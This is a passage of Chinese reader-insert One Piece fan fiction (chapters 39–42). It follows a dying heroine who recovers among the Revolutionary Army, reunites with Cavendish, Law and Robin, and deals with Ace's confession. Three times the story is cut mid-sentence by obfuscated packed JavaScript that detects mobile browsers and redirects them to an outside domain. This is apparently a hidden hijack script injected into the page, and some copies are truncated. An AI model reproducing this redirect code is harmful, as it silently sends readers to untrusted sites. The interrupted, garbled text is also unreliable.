早在更早之前,你就知道艾斯是擅长讲故事的人了。只要他愿意,完全可以把微小到让人记不住的事说的很有趣。 只是简单的几句话,就让你笑个不停。如果不是时间太晚,估计艾斯还会和你说上更多有趣的事。 你们回民宿的路上,走在你身旁的艾斯停下了行走的步伐,仰头看着说明。你就着他抬头的角度看去,闯入视野范围的是难得的满月。 “今晚是满月啊。” 下意识感叹出声的话引得身旁的艾斯轻笑出声:“是啊,那晚我看到也是这样的满月。” 捕捉到关键词的你看向艾斯。 “那晚?” 随着话题一同变化的,是艾斯落在你身上的目光。 "萨拉喝醉的那晚,我背着你回船上时看到的也是这样的满月。我很想让你也看看那晚的满月,可萨拉睡得很熟,怎么叫都叫不醒。" 说到这个你就头疼:“抱歉...我应该醒过来的。” 艾斯注视着你的双眸里满是笑意,却没有半分嘲笑你的意思。不如说,更像是想明白了什么。 “没关系,这次我们都没有错过。” “而且,我想让萨拉看的应该不是满月。” 突变的话题令你感到不解。 “那你想让我看的是什么?” 四目相对时,你看到倒映在艾斯眸中的自己,以及在月光下格外柔和的艾斯。 许是氛围过于暧昧,两人的距离超过了正常的社交距离。只需艾斯低头就能接吻的距离里,你听到了艾斯干哑的声音。 “或许...我只是想让你看着我。” 后知后觉上线的理性催促着你和艾斯拉开距离,可放在你脸侧的手令你无法动弹。 不,令你无法动弹或许不是放在脸侧的手,而是艾斯过于炙热的目光。 “我——” “我不是在看着你吗?回去睡觉吧,时间不早了。” 你的直觉告诉你,如果让艾斯说出这句话,你们的关系将会发生巨大的转变。 而被迫中断对话的艾斯表情微怔,强颜欢笑地应下了你的请求。 “说的也是,回去睡觉吧。” 39.革命军 或许在更早之前,你的身体就发出过警告的信号,让你减少使用他人能力的频率。而你忽略了这个信号,才在再次大频率使用他人能力时让自己陷入危险。 万幸的是和你在一起的人是艾斯,不幸的也是和你在一起的人是艾斯,以至于刚认清自己心意的艾斯,只能一昧地求助还没离开这座岛上的发小。 被高烧夺去意识的你不知道两人聊了什么,只知道你醒来时,自己正在不知名的房间。照顾你的,则是草帽海贼团中的罗宾。 如果不是你见过罗宾的悬赏令,睁眼看到她乌黑靓丽的长发时,意识迷离的你应该会把她错认为以藏吧。幸好,这种尴尬的事没有发生。 从罗宾透露的信息可以得知,你在反复的高低烧时,是革命军的各位轮流照顾的你。会轮到罗宾,则是因为轮班刚好到她。 你现在所在的房间,也是革命军的医务室。至于艾斯和萨博聊了什么、两人做了什么交易,罗宾也不清楚。 “具体的经过,你可以等萨博回来再问他。” 因高烧而干涸的喉咙令你无法自由地说话,你只能朝罗宾点头以表感谢。后者回以你温和的微笑,余光扫到墙上的时钟时,放下了捧在手上的书。 “我去叫医生,顺便给你拿午餐。” 说完这句话后,罗宾离开了医务室,留下意识未完全清醒的你在医务室,看着天花板发呆。 意识完全昏迷前的记忆停留在艾斯和萨博对话的画面,具体说了什么你没听清,你只知道艾斯的声音很慌张,和蒂奇刺伤你那晚,以藏叫唤你的声音很像。 没等你进一步去深思昏迷前的事,罗宾回来了,带着萨博和疑似医生的人回来了。 午餐是没吃上的,但检查是必不可少的。替你检查的医生叫伊万,你在悬赏令上见过他。很巧,他也认得你,对你的评价也不错,只是他对你身体状态的评价不算好。 “咿哈!看上去恢复的不错,但要你再这样大规模使用他人的能力,神都不一定救得了你。” 你表示不解,试图从在场唯二的萨博脸上看出些什么。和你对上视线的萨博还挂着笑容,说出来的话却和他的笑容相反:“不用看我,伊万才是你的主治医生。” 于是你再次看向伊万,后者拿出几张纸,对着上面你半懂不懂的数据讲述里面的信息。 “看上去好像没什么问题,实际上你身体里的器官年龄,比你的真实年龄还要糟糕。” “早在这之前,你的身体就有过重创的痕迹。你的体质也不算好,又频繁过度的使用超过身体可承受范围的能力,现在还活着已经算命大了。” 伊万说了很多,你听完后得出的结论是——你活不长了。 许是有过几次从鬼门关经过的经历,得知自己活不长的消息后,你的心情异常平静。 “如果我继续使用能力,大概能活多久?” 然后你就被伊万冠上“疯狂少女”的名字。 “不仅不打算延长寿命,还要继续使用能力吗?那我告诉你好了,再这样下去,你活不过三十五岁!” 这么说的伊万还向萨博表示,你非常适合革命军。 闻言的萨博笑出了声,他想说些什么时,有人推开了医务室的门。听脚步声应该是三个人,但你不知道来人是谁。 直到三人走到你面前,你看清了来人之一,他正是革命军的现役头领。 龙:“听说你醒来,顺路就过来看看你的情况。” 跟在龙身旁的两人说的话也大差不大,但你没有印象。面对他们的好意,你只能回以不失礼节的感谢。 托罗宾的福,尴尬的对话没持续多久,你吃上了午餐,也得以从萨博那里直到艾斯的事。 袭击你和艾斯的是想投奔蒂奇的海贼团,也是萨博在那座岛上寻找的目标,这便将萨博会及时出现在现场的事串联上了。 也是因为这件事,无法找到其他人救助你的艾斯,将你拜托给能救助你的萨博。 “因为立场的问题,我不方便带艾斯一起。关于这点,艾斯也很清楚,所以他让我把他的生命卡给你。” 你从萨博手中接过属于艾斯的生命卡,在你手上的生命卡是完整的,这说明现在的艾斯是安全的。确认艾斯是安全的后,你松了口气。 将你的反应尽收眼底的萨博低笑出声:“我算是明白艾斯为什么说那种话了。” 收好生命卡的你应声抬头。 “他还说了什么?” 引起你注意力的萨博回以狡黠的笑。 “艾斯要求我不要告诉你,暂时保密。” 果然,你对萨博的第一印象没有错,他和容易害羞的艾斯不一样,性格要更为腹黑。 “再来就是你的‘治疗费’了。虽然我很想借此邀请你加入我们,但这样多少有点趁人之危。” 你看着还保持着笑容的萨博,过多的槽点让你无法下口。话说一半就停下来,这不是在等你主动往他挖好的坑里跳吗? 那就跳吧,看在艾斯的份上。 “只要是我能力范围内的事,请务必让我来做。” 得到满意答复的萨博含笑点头,随后起身,拿起你吃空的餐盘准备离开。 “那也是你调理好身体后的事。在此之前,你先专注自己的健康问题吧。” 之后的生活也确实如萨博所说,革命军的人没有要求你为他们做什么。但每次见到你时,你叫不出名字的人都会亲切地和你打招呼。 一来二往,经常和你打招呼的人都认的差不多了。鱼人哈库,和萨博同期的克尔拉,目前和你是舍友的罗宾。 据克尔拉的介绍,还有几位分队长对你很感兴趣,如果不是因为他们还有任务身在其他国家,也会过来和你认识。 饶是你在革命军待了一周,仍旧会为革命军待你过于友好而感到不解。作为你现任舍友的罗宾,则是看出了你的困惑。 “因为你值得被这么对待。” 你十分肯定自己没有说出心里话,罗宾能精准解答你内心的疑惑,足以说明罗宾心细如发。 可罗宾的答案并没有完全解答你内心的疑惑,反而加深了。 “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028806|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我在这里没做什么?还需要伊万定期来给我检查身体。” 没做什么吗?罗宾脑海里浮现出你闲不住跑去厨房帮忙打下手,结果被克尔拉抓个现行的画面。 再来时围观革命军后备役的训练,在后备役的请教下欣然接受对练的邀请,随后被回来的萨博逮住,笑吟吟地说教。 要说最多的,还是革命军有意无意把一些岛的现状透露给你,你毫无戒心地把自己的看法尽数吐出,给革命军提供了不一样的解决思路。 做了这么多还不算多吗?看着你等待自己解答的黑眸时,罗宾不禁笑出了声。 “在我看来,萨拉已经做了很多了。” 其实是想知道自己具体做了什么的你接受了现实,发出一声叹息。 “好吧...罗宾这么说了,看来我确实在自己不知道的时间里做了很多。” 闻言的罗宾回以你无言的笑容。 - 相较于在革命军边学习边给予一定帮助的罗宾,你在革命军的定位很微妙——在革命军养病的海贼,是说出来自己都会笑出声的程度。 万幸的是萨博没有骗你,在伊万说你可以进行一定程度的锻炼时,萨博开始让你做些事了。像是和他们一起去需要解放的国家走访,走访的过程会询问你对于当地情况的想法。 于你而言,这些是微小到不足以放在心上的事,有问必答是你对这件事最好的回答。你 于是,你的身份又从养病的海贼变成疑似半个革命军的海贼。 在跟着革命军走访的时间里,你从报纸上知道了白胡子海贼团和蒂奇激战的事。看到这个报道时,你再迟钝也知道艾斯至今为止都没联系你的原因了,原来是背着你和船上的大家干了票大的。 你有点生气,但想到自己的身体情况,还有既定的事实,你生气也没办法。不过报纸上没说伤亡情况,只说蒂奇处于劣势,大家应该是安全的。 坐在一旁等你看完报纸的萨博适时询问你的心情。 “在生气吗?” “有点,但更多是无奈和担心吧。” 闻言的萨博在你微小到可以忽略的叹息声中,拿出了一个电话虫。 “实在担心的话,你可以打电话和他们联系。” 你一眼便看出了萨博手上的电话虫是艾斯的那只。显然,艾斯把你交给萨博时,也把生命卡和电话虫给他了。 而萨博隔了这么久才给你的意义,不用想也知道是他和艾斯说好的。他们的出发点是好的,但你还是为自己被两人蒙在鼓里的现实而生气。 “托你的福,现在我确实很生气。” 接过电话虫的你向萨博表达了自己不悦的情绪,后者笑了两声,脸上的笑容是符合你对他印象的弧度。 “是吗?怪不得现在的你比来之前精神多了。” 你算是明白为什么克尔拉说起萨博时经常生气了,那是因为眼前这个人真的很会惹人生气。当然,他想讨好某个人时也很会就是了。 最后你还是没打那通电话,你想不到现在的自己可以和他们说什么。 40.未来 再次从伊万那里收到活不长的反馈时,你难得回忆起了二十五年来的人生。 人生的第一个转折点是走上白团的船,第一次谈恋爱是从小喜欢到大的以藏,第一个主动交的朋友是卡文迪许。 第一次和小孩交谈,第一次当海军……诸如此类的第一次还有很多,多到你数起来会为之意外的程度。 是你下船前,想都不敢想的过去。 如果你不下船,或许就不会遇到这么多第一次,也可能会活的更长,也不会认识这么多人。没有说白团不好的意思,单纯是在回忆人生罢了。 问题回到下船这个点上,你下船这件事,到底是好事,还是坏事呢? 好的方面,你变强了,也认识了很多人,也能处理人际交往了。坏的方面,你变得更多愁善感了,也活不长了。这么一比,似乎好坏参半? 由于你过于沉浸在自己的世界,罗宾推门坐到你对面时,你都没有动作。还是撑着腮观察你,观察够了的罗宾主动和你搭话,你才如梦初醒。 “想什么呢,想得这么入神?” 在罗宾笑吟吟地注视下,你勉强组织好语言,把你正在思考的事和罗宾说起。 “我在回顾人生。” 闻言的罗宾想到今天是你复查的日子。至于结果是什么,从你现在的反应就知道了。或许是女性的直觉,罗宾觉得你没有表面看上去的平静。 在你来革命军前,罗宾和很多人打过交代。但像你这个年龄,听到自己活不长还能相安无事,甚至不当回事的类型,还是很少见的,即使能活到老的海贼并不多。 和你一起生活的这段时间里,罗宾发现你很擅长体贴别人,却不怎么会照顾自己。有时候罗宾回过神时,她都是你照顾的一员了。 可以的话,罗宾希望你能活得久点。遗憾的是,她不是医生,也没有这种能力。她能做的,只有充当你的临时听众。 “那你需要听众吗?” 听到这个提议时,你先是观察了罗宾的表情,确认她没有勉强自己后,你才告诉她答案。 “嗯,我需要。” 看啊,即使是她主动提出的提议,你也要在观察过后才敢给出答案,这样的你,又怎么不令人担心呢? 于是,你在罗宾的注视下,和她说起了自己的过去。太久远的过去不值得一提,所以你说的都是和以藏交往后的事。 沉溺恋爱时的甜蜜,成为海军时的不安和矛盾,离开海军后的噩梦和沉溺。故事不长,但概述起来也不简单。即使如此,落在你身上视线也不曾移开,还会不时给予你答复。 和罗宾说了一遍来革命军前的事,你发现自己前进的动力,似乎很少是因为自己。 你为此感到惊讶时,罗宾为你找到了主要问题感到高兴。 “看来你已经找到了问题所在。” 带着鼓励性质的笑容看的你脸颊有些发烫。向来都是你在他人面前充当这个角色,第一次成为被鼓励的角色,多少有点不习惯。 “…所以,接下来我该为自己而活?” 你不确定地向罗宾寻求答案,后者表情微怔,看向你的目光里多了一分怜惜,答案却是意外的。 “很可惜,我也不知道。” “硬要说的话,我也在寻找活着的意义。” 罗宾的话让你不禁开始打量起眼前人。罗宾很美,她的美和你目前见过的女性不太一样,富有知性的同时,又能在相处时窥探到她的感性。 你在为罗宾的美出神时,想到可能正在世界各地修行的伙伴的罗宾笑了。 “直到我遇到现在的伙伴,我才知道自己活着是为了什么。” “所以,我无法给予你想要的答案。但我会为你祈祷,祈祷你能在未来找到自己想要的答案。” 罗宾的话让你乱成一团的思绪解开些许,积攒在内心的乌云逐渐散开。 “谢谢罗宾。虽然我还没能找到自己想要的答案,但我觉得自己好多了。” 面对你的道谢,罗宾轻笑出声:“不客气,我也很高兴,能听到萨拉这里听到这么多有趣的故事。” 你觉得自己的经历不算有趣。毕竟某种程度上,你换恋人的速度有点快了。 “即使我换了很多恋人…?” 你的不确定换来了罗宾的肯定。 “即使你换了很多恋人。” 虽然罗宾不清楚你的人际圈如何,但她的直觉告诉她,喜欢你的人,不止你目前交往过的人数。 包容万物的大海从不缺男人,可你却为自己和少数的男人交往过而感到愧疚,这是你可爱的点,也是罗宾觉得需要担心的点。 见你还沉浸在她说过的话里,罗宾向你发出午餐邀请。 “既然心情好点了,要一起去吃午餐吗?” 适时的提醒让你的肚子意识到了饥饿。你看向起身朝自己伸手的罗宾,果断在回忆和填饱肚子里选了后者。 比起回忆,还是当下更重要。 - 白团有悬赏令的人赏金又涨了,连带着蒂奇的海贼团的赏金也涨了些。你很高兴,这意味着白团的大家都安然无恙。可以的话,你很想打电话给他们。 但现在的你不能,因为你还在革命军的临时据点。冒然和外界联系,有一定几率会被政府找到革命军的据点。 期间你有想过,白团的大家是否会主动打电话给你。想到萨博说过他和艾斯的“交易”,你还是打消了这个盼头。 一样的条件,你不能做的事,他们的条件也是一样的。那他们会和你一样想你吗? 看上去你可能不怎么想他们,事实却是你很想他们,想的梦里都是他们的身影。有好梦,也有让你惊醒连带着同个房间的罗宾都起来查看你的噩梦。 许是你发呆的时间长了,和萨博商量完接下来计划的克尔拉走到你身旁,关心起你的状态。 “身体还好吗?” 克尔拉的声音将你从自己的世界中唤回。你朝她摇头:“没事。接下来要去哪?” 你询问克尔拉接下来的计划时,她不赞同地鼓起了脸。 “接下来是休息时间,哪里也不用去。萨拉真是的,一点病人的自觉都没有。” 病人吗?你觉得自己不能算是病人,顶多是热爱劳动的海贼罢了。至于是什么劳动,当然是和他们到处走访的劳动。不找点事做,你总觉得自己的思绪会陷入死胡同。 “那接下来我要做什么?” 面对你马不停蹄想要工作的心,饶是被革命军的大家称为“劳模”的萨博,也不禁摇头。但能说服你休息的人不是他,所以萨博趁机溜了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到这个,你想起了至今为止还挂在脖子上的项链。卡文迪许的生命卡还安然无恙。作为第一个在白团外认识的友人,需要拜访的人肯定有他一份。 再来是罗,他成为七武海到现在的情况你挺在意的,库赞倒是没什么动静。但想到上次见面时的状态,你觉得回去的路上遇见库赞的概率不小。 然后是照顾过你的米霍克。考虑到自己对米霍克做过的事...你其实不太敢见他,但要是到死都没见过米霍克,估计你会为之感到遗憾。 你为之走神时,克尔拉已经想叫停这个话题了。结果在她出声叫停前,你找到了属于自己的答案。 “我会去见朋友,见完朋友,再和家人见面。” “生命的最后一刻,果然还是要把想见的人都见上一面吧?” 找到答案的你豁然开朗,提出这个话题的克尔拉却被你弄哭了。最后还是你和罗宾联手安抚克尔拉,她才止住哭泣。 但罗宾很高兴,她为你不再纠结之后的事感到欣慰。 “也要记得来看我哦。” 罗宾的话让你怔了几秒,先反应过来的克尔拉接上话题:“还有我!” 饶是你再迟钝,也知道她们是把自己列入了你说的“朋友”名单里了。想到这,你不禁笑出声。 “我会的,一个都不落。” 41.重逢 罗宾回去见伙伴了,临走时她给了你一个拥抱,并向你表达了“下次见”的意愿。而修养的差不多的你,也决定在这次和萨博他们分别。 很巧,你和萨博他们分别没多久,就遇到了来德雷斯罗萨参加比赛的卡文迪许。猝不及防在路上见到卡文迪许时,你和他都愣在原地。 先一步反应过来的是卡文迪许,那头比之前还要长的金发因卡文迪许加快的步伐有节奏的晃动,最后在卡文迪许似感动又像生气的拥抱中消失。 “萨拉!你这混蛋,好久不见!你知道我有多担心你吗?又是海军又失踪的!” 在卡文迪许的抱怨声中,缓过神的你伸手揽住卡文迪许的后背,回以他相同的拥抱。 “好久不见,卡文迪许。” 这是一个无关情爱,单纯至极的拥抱。也是你的回抱,浇灭了卡文迪许心底对你的不满和忧虑,只是他的回话还是掺杂着几分不满。 “你也知道很久不见。” 带有抱怨意味的话语是卡文迪许的小性子,可你知道,他已经不生气了。在你和卡文迪许松开对方后,终于有机会端详你变化的卡文迪许,在看到你左眼上淡到不能再淡的疤时,又生气了。 “是谁弄的?” 一副只要你说出是谁,随时都能抽出剑让对方脸上开花的表情,着实把你逗笑了。 “这个啊,说来话长,我还是不说了,反正我人还好好的。” 你轻描淡写的态度惹得卡文迪许眉头上挑。仗着身高优势,卡文迪许毫不客气地用食指戳你的额头,以此泄愤。 “就是这种态度才让我火大!” 看似用了很大的力气,实则不痛不痒。考虑到你反驳会让卡文迪许更生气的结果,你打消了这个想法,任由他发泄对你的不满和担忧。 “抱歉,我就是这样的性格。” 又气又好笑的重逢也在你的道歉声中结束,重新整理好情绪的卡文迪许也不再问你过去的事,问起了你接下来的计划。 “我吗?” 回白团的事已经提上日程了,但萨博他们说的多弗朗明哥让你有点在意。说到多弗朗明哥和看到的报道,你无法不将这些和分别一年的罗联系在一起。 在你思考和组织语言时,卡文迪许有了他的答案。 “别告诉我你是为了恶魔果实来的。如果是这样,那颗果实已经是我瞄准的目标了。” 卡文迪许的话引起了你的注意,毕竟你还没注意到这个。 “恶魔果实?” 适时提取出的关键词惹得卡文迪许发出不敢置信的呼声:“哈?别告诉我你什么都不知道就来这了!” 事实是你确实不知道,所以你老实地承认,并在卡文迪许不敢置信的注视下,听他说起了德雷斯罗萨目前的情况。 “然后我就在去报名的路上遇见你了。” 对目前的情况有了大致的了解后,你伸手拍了拍卡文迪许的肩膀。 “这样啊。那祝你成功,我的朋友。” 说完,你就准备离开,不打扰卡文迪许参加比赛。而同一时间按住你肩膀的手,说明卡文迪许并不想让你离开的事实。 “就这?难得见一次面,至少和我吃顿饭吧。” 考虑到你身上没多少钱的现实,你觉得卡文迪许的提议很可行。 “你请客?” 按住你肩膀的手因你说的话加重了力度,然后是卡文迪许咬牙切齿的声音。 “...我请!是我请!你这家伙、要是我不请客你还打算直接走人是吧?!” 其实不管请不请都没关系,单纯是想逗卡文迪许的你,在卡文迪许气愤的表情中,双手合十做求饶状。 “我开玩笑的。但确实没什么钱,暂时只能让你请客了。” 作为你独自出海航行的第一个朋友,卡文迪许和你很合得来。光看你们有说有笑的氛围,谁都想不到你们已经两年没见了。 享受了美丽的早餐后,卡文迪许骑着法鲁鲁向报名的会场出发,期间有向你发起邀请,让你去看他的比赛。 你是相信卡文迪许的实力,自然知道他不会出什么事。而且,在早餐时你看到了有些在意的身影,便婉拒了卡文迪许的邀请。 被拒绝的卡文迪许早有准备,但还是有些不满。在他发作前,你先一步出声安抚他的情绪。 “等你拿下优胜,我再去找你吧。” 双手抱胸的卡文迪许看了眼你,不情不愿地轻哼出声。 “...还算朋友。” 显然,你的安抚在卡文迪许这屡试不爽。 - 不出意外的,你遇到了罗和草帽海贼团的几个人。看到你时,罗和罗宾的表情都很意外,只是前者的反应要更激烈点。 “你在这做什么?别告诉我,你是因为报纸上的新闻来这的。” 许是罗的伪装很有效,以至于他有意压低嗓音威慑你的作用都大打折扣。和罗在一起的一年,你已经很清楚怎么安抚他的情绪了。 “不是,我是因为担心你才来的。” 闻言的罗表情微怔,和他在一起的三人反应各有各的不同。在罗组织语言的时间里,你的目光落在有段时间不见的罗宾身上,后者回以你温柔的微笑。 “没想到这么快又见面了,萨拉。” “是啊,又见面了。” 你说着,主动朝罗宾伸出手。没想到你会主动索要拥抱的罗宾会心一笑,顺势伸出手将你抱进怀里。 为此感到意外的三人里变成了罗和乌索普及凯撒。而终于认出你的乌索普,反应也变得激烈了。 “等等、她不是五亿的那个——” 同为意外组的凯撒关注的则是其他点。 “喂!她不会也是你计划里的一员吧?!如果是这样、那事情不是更——” 被问及的罗压下帽檐,不悦地咂嘴,否认了凯撒的话。 “不是。” 在你和罗宾分开时,罗快步将你拉到一旁的角落,和你说起了他的想法。 “萨拉当家的,你必须马上离开这里。” 一开始你还为罗没和贝波他们一起感到奇怪时,听到罗这么说后,你就明白是什么事了。 “因为你要做危险的事,所以要我马上离开,对吧?” “你知道就——” 刚想为满意的答复点头的罗,被你接下来的话气到了。 “那我就更不能离开了。再怎么说,我也不能眼睁睁看着你把自己逼入绝境。” 透过好笑的墨镜,罗看到了你眼底的坚定和宠溺。显然,你是不管他说什么都要留下了。 “你!” 赶在罗发作前,察觉到什么的乌索普急忙打断你们的对话:“多一个强有力的帮手也不是坏事?而且我们很赶时间,还是抓紧时间吧!对吧罗宾?!” 说话时不忘把罗宾叫上,希望得到多一个人的赞同。 在场唯一一个知道你身体状态的罗宾不太赞同,但对上你有意让她隐瞒的小表情,罗宾还是赞同了乌索普的提议。 “是啊。而且就算罗不同意,她也会 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此话一出,室内的众人各有不同的反应,因海楼石失去力气的罗更是羞怒参半的叫出声:“你胡说什么!” 对比之下,用线缠住你脖子的多弗朗明哥发出阴晴不定的笑声。 “海军时是青雉,后来是鹰眼,现在是罗。你还真是喜欢黑发啊,前萨拉中将。” 勒紧你脖子的线和多弗朗明哥的笑声形成鲜明的对比。如果不是你下意识用武装色防住,大概就要被线勒死了吧。 亲昵的宛如情人的距离,让你直面着多弗朗明哥的恶意。他应该很生气,毕竟刚才一时不慎,让你用库赞的能力擦了下。 而在这种随时都可能交代在敌人手中的局面,你的心情却异常的平静。你知道,多弗朗明哥在用语言羞辱你,可你不当回事,还乐于和他对话。 “那你要考虑也染个黑发吗?” 你的话让多弗朗明哥动作一顿。他怎么都没想到,你在处于绝对劣势的局面下,还能说得出这种话。 本以为他会为此大发雷霆,结果多弗朗明哥笑了,还松开了圈在你脖子上的线:“不愧是出来就五亿赏金的魔女,也不知道你是怎么在海军里当上中将的。” 打断多弗朗明哥往下说的,是在场唯一的海军。 “天夜叉,再往下说就超过了。” 藤虎的话让多弗朗明哥打消了继续拿你取乐的想法,还顺着藤虎的话换了个交谈对象。失去了交谈对象的你也不怒,转头和罗咬起耳朵。 “你还好吗?” 没想到你扭头就开始关心自己的罗脸色微怔,他想说你什么,在看到你脖子上渗出的血迹时换了个说辞。 “...还好。” 你看了眼罗还在渗血的手臂,不禁叹息出声:“差点少了一只手哪里好了?” 被你戳穿的罗不禁咂嘴。 “啰嗦,你也好不到哪去。” 你觉得自己和罗对比好的不能再好了。一想到你没跟着罗来,他可能会更糟糕,语气里就多了几分无奈。 “但也好过你一个人在这里吧?” 微扬的尾音仿佛你们不是被多弗朗明哥抓住的人质。 在场和你同为人质的罗看了你一眼,感到无力的同时,内心深处也确实如你所说的那样,有些许的庆幸:幸好是你和他在一起。 即使这种庆幸没能改变现状,你在场时才有的安全感,缓解了罗因计划失控的紧张和不安。 42.友军 在你的悬赏令出来前,索隆就认识你了。不,不能说认识,应该说见过。不是真人,但他对你有印象,在米霍克的城堡里。 那个只有三个人的城堡里,有个房间里的物品,明显是有谁在那里生活的痕迹。即使只有三人的城堡,米霍克也会定期打扫那个房间。 一开始,索隆并不知道米霍克这么做的原因,直到他看到米霍克房间里的照片,他就明白了。 比他更早来到城堡的佩罗娜知道的更早,但她了解的程度也不深,只知道世界里只有剑的米霍克心里还装着个你。 也是这样,索隆先入为主的判断你和米霍克的关系是恋人,以至于他见到你被艾斯抱在怀里时,情绪有一定的波动。 一同享受着打败多弗朗明哥片刻宁静的罗宾也注意到了艾斯的动作。罗会为此动容是正常的,但索隆的反应,令罗宾很感兴趣。 “怎么了?” 对上罗宾探究的目光,索隆移开了视线。 “没什么。” 只是坏心眼的想到了米霍克也在场时的反应。而成为屋内所有人焦点的你,伸手拍了拍艾斯的背。 “差不多该松手了,艾斯。” 直到上一秒还在抱怨你来到这先见罗才到自己的艾斯,在众人的注视下急忙松开抱住你的手。 如果路飞没在睡梦中,估计艾斯会在路飞的笑声中起火。光是萨博似笑非笑的笑容,就能让脸皮薄的艾斯脸红了。 当然,现在红着脸不愿撒手的艾斯也不见得好到哪去。与此同时,你身旁还有一个罗。他没说话,但靠在你肩上的动作快要把你压倒了。 看热闹不嫌事大的萨博:“感情真好。” 看破不说破的罗宾:“三个人的感情都很好。” 似乎明白了什么,但不好说居鲁士:“原、原来是这种关系吗?” 不介意添把火的索隆:“或许还少了一个人。” 发现盲点的弗兰奇:“其实是四角关系?” 你很肯定,如果他们再说下去,你就要给造成你现在这种困境的艾斯和罗一人一巴掌了。 可惜你还没来得及出手,累趴的两人就分别枕着你的肩膀和大腿入睡了。屋里还醒着的几人很有眼见力的不再提刚才话题,听萨博说起三兄弟的故事。 故事很感人,你的肩膀和大腿也麻得感人。以至于萨博离开房子时,你需要叫人帮忙了。 “...救救我。” 最后还是罗宾帮你移开了枕在你身上的两人,你才恢复自由身。 - 本想帮完罗就回白团看大家的你,在艾斯和你说大家都相安无事时,果断决定去和之国打完架再回白团。 早有所料的罗哧笑出声,你正准备劝说艾斯先回去时,后者拽住你的手腕,制止了你往下说的话:“你去哪我就去哪,别想甩掉我。” 或许你该提醒一下艾斯,上次被留在革命军的是你,做出这个决定的人还是现在缠着你不放的艾斯。 那还能怎么办?当然是宠着啊。 “行吧,你也一起来,我们对凯多使用正义的围殴。” 你说着,空出的那只手握拳举起,引起在场的人笑出声来。 于是,你和艾斯都乘上了前往佐乌的船,和路飞一行人度过了相对愉快的时光。如果能忽视索隆似有似无的视线,其实真的很愉快。 考虑到之后还要同行一段时间,你决定主动出击,询问索隆对你额外关注的原因。 “你有什么想和我说的吗?” 没想到你会主动出击的索隆怔了下。他环视了一圈周围的环境,确认艾斯和罗都不在甲板后,说起了你时隔许久没接触过的人名。 “你...甩了鹰眼?” 说出这句话的索隆自己也愣了下,更别说你了。见你在原地沉吟了片刻还没回应,索隆放弃继续和你讨论这个话题的想法,报出了一串数字。 “你要是有联系他的想法,就打这个电话。” “啊...我知道了,谢谢。” 直到索隆离开甲板,你还在为和索隆的谈话而头疼。 米霍克对你很好,好到你不敢见他的程度。你也不敢见以藏,但这两者的区别还是有的。前者是愧疚,后者是内疚。 至于库赞,许是已经见过一面,提起他时你能面不改色地和库赞聊骆驼了。 你还想再思考一下米霍克的问题时,艾斯的出现打断了你的思绪。 “他说的米霍克,是七武海的鹰眼吗?” “对,是他。” 猜测得到认可的艾斯沉默了,站在你身旁久久没有出声。他看上去情绪不怎么好,这让你很不解。 难道两人有仇?下一秒,艾斯的话让你有了答案。 “你喜欢他。” 注视着你的黑眸里是笃定,还有一丝慕意。话到这个程度上,你也知道艾斯执着于你的原因了:他喜欢你。 和艾斯分别前的你还会为既定的事实慌张,如今看淡生死的你已经能坦然接受了。硬要说的话,还是你对艾斯没有半点家人以外的情感吧。 “好吧...我也喜欢你,这样可以吗?” 你试着安抚艾斯的情绪,可这种安抚于他而言没有作用。所以,被你无谓的态度激怒的艾斯握住你放在他肩上的手。 “我要的又不是这种喜欢。” 装着炙热情感的黑眸格外好看,以至于直面艾斯情感的你有些慌张。慌张也是一瞬的事,冷静下来的你找到了对策。 “你知道的,艾斯。我和你只能是家人或朋友,不可能有别的关系。” 以防艾斯还有别的想法,你说出了最不应该由你说的话。 “在他们之前,我和以藏才是一对。” 本以为你拉出以藏,艾斯就会放弃了。结果听到以藏的名字时,艾斯笑了。 “可你们分手了,不是吗?还是你单方面提出来的。” 猝不及防被反将一军的你怔住了,没有错过这个机会的艾斯则继续说了很多你不知道事。 “我和以藏坦白了,我会和他公平竞争。” “与其看你和其他人在一起,还不如由我——” 被过大的信息轰炸到暂时失神的你,在艾斯有意停顿的片刻,下意识伸手按住他无意识靠近你的脸。 “太近了。” 你这么说着,无声围观了整场纷争的罗终于笑出了声。 - 决定攻打和之国需要很多人手,佐乌的居民是战力之一,艾斯也计划着回白团带上老爹他们发起一场战役。 他试着说服你一起回去,你却想到了意料之外的人手。但...你不确定他们会帮你。 “我有一个不确定可不可行的提议。” “什么提议?” 在场的人看向你,作为计划的主要提出者的罗目光更为炙热。他有预感,你会说出惊掉在场所有人的提议,和当初告诉他攻打蜂巢岛的主意一样。 “你们说,再加个前大将和现役七武海,能用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038468|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正义的围殴打赢凯多吗?” 虽然不知道具体的人是谁,但已经怕的抱起来的乌索普和乔巴在尖叫。 “确定不会先把我们一网打尽吗?!” “我得了提到大将就会腿软的毛病!” 知道你在说谁的罗笑了:“你还真是彻头彻尾的疯子。” 同样知道你在说谁的艾斯心情复杂,他觉得你变了,变得不怕死了。 